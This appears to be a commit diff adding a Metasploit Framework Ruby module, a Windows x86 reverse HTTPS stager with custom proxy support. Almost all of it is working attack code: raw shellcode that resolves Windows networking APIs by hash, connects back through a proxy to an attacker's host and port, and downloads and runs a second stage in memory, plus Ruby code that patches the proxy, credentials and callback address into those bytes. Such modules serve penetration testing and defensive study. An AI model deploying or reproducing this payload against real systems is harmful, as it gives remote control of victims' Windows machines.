|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | + |
| 9 | +require 'msf/core' |
| 10 | +require 'msf/core/handler/reverse_https_proxy' |
| 11 | + |
| 12 | + |
| 13 | +module Metasploit3 |
| 14 | + |
| 15 | + include Msf::Payload::Stager |
| 16 | + include Msf::Payload::Windows |
| 17 | + |
| 18 | + def initialize(info = {}) |
| 19 | + super(merge_info(info, |
| 20 | + 'Name' => 'Reverse HTTPS Stager with Support for Custom Proxy', |
| 21 | + 'Description' => 'Tunnel communication over HTTP using SSL, supports custom proxy', |
| 22 | + 'Author' => ['hdm','corelanc0d3r <peter.ve[at]corelan.be>', 'amaloteaux'], |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Platform' => 'win', |
| 25 | + 'Arch' => ARCH_X86, |
| 26 | + 'Handler' => Msf::Handler::ReverseHttpsProxy, |
| 27 | + 'Convention' => 'sockedi https', |
| 28 | + 'Stager' => |
| 29 | + { |
| 30 | + 'Payload' => |
| 31 | + "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + |
| 32 | + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + |
| 33 | + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + |
| 34 | + "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + |
| 35 | + "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + |
| 36 | + "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + |
| 37 | + "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + |
| 38 | + "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + |
| 39 | + "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + |
| 40 | + "\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" + |
| 41 | + "\xFF\xD5\xE8\x0F\x00\x00\x00\x50\x52\x4F\x58\x59\x48\x4F\x53\x54" + |
| 42 | + "\x3A\x50\x4F\x52\x54\x00\x59\x31\xFF\x57\x54\x51\x6A\x03\x6A\x00" + |
| 43 | + "\x68\x3A\x56\x79\xA7\xFF\xD5\xE9\xC4\x00\x00\x00\x5B\x31\xC9\x51" + |
| 44 | + "\x51\x6A\x03\x51\x51\x68\x5C\x11\x00\x00\x53\x50\x68\x57\x89\x9F" + |
| 45 | + "\xC6\xFF\xD5\x89\xC6\x50\x52\x4F\x58\x59\x5F\x41\x55\x54\x48\x5F" + |
| 46 | + "\x53\x54\x41\x52\x54\xE8\x0F\x00\x00\x00\x50\x52\x4F\x58\x59\x5F" + |
| 47 | + "\x55\x53\x45\x52\x4E\x41\x4D\x45\x00\x59\x6A\x0F\x51\x6A\x2B\x56" + |
| 48 | + "\x68\x75\x46\x9E\x86\xFF\xD5\xE8\x0F\x00\x00\x00\x50\x52\x4F\x58" + |
| 49 | + "\x59\x5F\x50\x41\x53\x53\x57\x4F\x52\x44\x00\x59\x6A\x0F\x51\x6A" + |
| 50 | + "\x2C\x56\x68\x75\x46\x9E\x86\xFF\xD5\x50\x52\x4F\x58\x59\x5F\x41" + |
| 51 | + "\x55\x54\x48\x5F\x53\x54\x4F\x50\xEB\x48\x59\x31\xD2\x52\x68\x00" + |
| 52 | + "\x32\xA0\x84\x52\x52\x52\x51\x52\x56\x68\xEB\x55\x2E\x3B\xFF\xD5" + |
| 53 | + "\x89\xC6\x6A\x10\x5B\x68\x80\x33\x00\x00\x89\xE0\x6A\x04\x50\x6A" + |
| 54 | + "\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56" + |
| 55 | + "\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xD5" + |
| 56 | + "\xEB\x49\xE8\xB3\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0" + |
| 57 | + "\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40" + |
| 58 | + "\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68" + |
| 59 | + "\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74" + |
| 60 | + "\xCD\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\xEC\xFE\xFF\xFF" |
| 61 | + } |
| 62 | + )) |
| 63 | + |
| 64 | + |
| 65 | + end |
| 66 | + |
| 67 | + # |
| 68 | + # Do not transmit the stage over the connection. We handle this via HTTPS |
| 69 | + # |
| 70 | + def stage_over_connection? |
| 71 | + false |
| 72 | + end |
| 73 | + |
| 74 | + # |
| 75 | + # Generate the first stage |
| 76 | + # |
| 77 | + def generate |
| 78 | + p = super |
| 79 | + |
| 80 | + i = p.index("/12345\x00") |
| 81 | + u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttpsProxy::URI_CHECKSUM_INITW) + "\x00" |
| 82 | + p[i, u.length] = u |
| 83 | + |
| 84 | + # patch proxy info |
| 85 | + proxyhost = datastore['PROXYHOST'].to_s |
| 86 | + proxyport = datastore['PROXYPORT'].to_s || "8080" |
| 87 | + proxyinfo = proxyhost + ":" + proxyport |
| 88 | + if proxyport == "80" |
| 89 | + proxyinfo = proxyhost |
| 90 | + end |
| 91 | + if datastore['PROXY_TYPE'].to_s == 'HTTP' |
| 92 | + proxyinfo = 'http://' + proxyinfo |
| 93 | + else #socks |
| 94 | + proxyinfo = 'socks=' + proxyinfo |
| 95 | + end |
| 96 | + proxyloc = p.index("PROXYHOST:PORT") |
| 97 | + p = p.gsub("PROXYHOST:PORT",proxyinfo) |
| 98 | + |
| 99 | + # patch the call |
| 100 | + calloffset = proxyinfo.length |
| 101 | + calloffset += 1 |
| 102 | + p[proxyloc-4] = [calloffset].pack('V')[0] |
| 103 | + |
| 104 | + #Optional authentification |
| 105 | + if (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or |
| 106 | + (datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or |
| 107 | + datastore['PROXY_TYPE'] == 'SOCKS' |
| 108 | + |
| 109 | + jmp_offset = p.index("PROXY_AUTH_STOP") + 15 - p.index("PROXY_AUTH_START") |
| 110 | + #remove auth code |
| 111 | + p = p.gsub(/PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i, "") |
| 112 | + else |
| 113 | + username_size_diff = 14 - datastore['PROXY_USERNAME'].length |
| 114 | + password_size_diff = 14 - datastore['PROXY_PASSWORD'].length |
| 115 | + jmp_offset = 16 + #PROXY_AUTH_START length |
| 116 | + 15 + #PROXY_AUTH_STOP length |
| 117 | + username_size_diff + # difference between datastore PROXY_USERNAME length and db "PROXY_USERNAME length" |
| 118 | + password_size_diff # same with PROXY_PASSWORD |
| 119 | + #patch call offset |
| 120 | + username_loc = p.index("PROXY_USERNAME") |
| 121 | + p[username_loc - 4, 4] = [15 - username_size_diff].pack("V") |
| 122 | + password_loc = p.index("PROXY_PASSWORD") |
| 123 | + p[password_loc - 4, 4] = [15 - password_size_diff].pack("V") |
| 124 | + #remove markers & change login/pwd |
| 125 | + p = p.gsub("PROXY_AUTH_START","") |
| 126 | + p = p.gsub("PROXY_AUTH_STOP","") |
| 127 | + p = p.gsub("PROXY_USERNAME", datastore['PROXY_USERNAME']) |
| 128 | + p = p.gsub("PROXY_PASSWORD", datastore['PROXY_PASSWORD']) |
| 129 | + end |
| 130 | + #patch jmp dbl_get_server_host |
| 131 | + jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp |
| 132 | + p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V") |
| 133 | + #patch call Internetopen |
| 134 | + p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("l")[0] + jmp_offset].pack("V") |
| 135 | + |
| 136 | + # patch the LPORT |
| 137 | + unless datastore['HIDDENPORT'].nil? or datastore['HIDDENPORT'] == 0 |
| 138 | + lport = datastore['HIDDENPORT'] |
| 139 | + else |
| 140 | + lport = datastore['LPORT'] |
| 141 | + end |
| 142 | + |
| 143 | + lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444 |
| 144 | + p[lportloc+1] = [lport.to_i].pack('V')[0] |
| 145 | + p[lportloc+2] = [lport.to_i].pack('V')[1] |
| 146 | + p[lportloc+3] = [lport.to_i].pack('V')[2] |
| 147 | + p[lportloc+4] = [lport.to_i].pack('V')[3] |
| 148 | + |
| 149 | + # append LHOST and return payload |
| 150 | + |
| 151 | + unless datastore['HIDDENHOST'].nil? or datastore['HIDDENHOST'].empty? |
| 152 | + lhost = datastore['HIDDENHOST'] |
| 153 | + else |
| 154 | + lhost = datastore['LHOST'] |
| 155 | + end |
| 156 | + p + lhost.to_s + "\x00" |
| 157 | + |
| 158 | + end |
| 159 | + |
| 160 | + # |
| 161 | + # Always wait at least 20 seconds for this payload (due to staging delays) |
| 162 | + # |
| 163 | + def wfs_delay |
| 164 | + 20 |
| 165 | + end |
| 166 | +end |
| 167 | + |
0 commit comments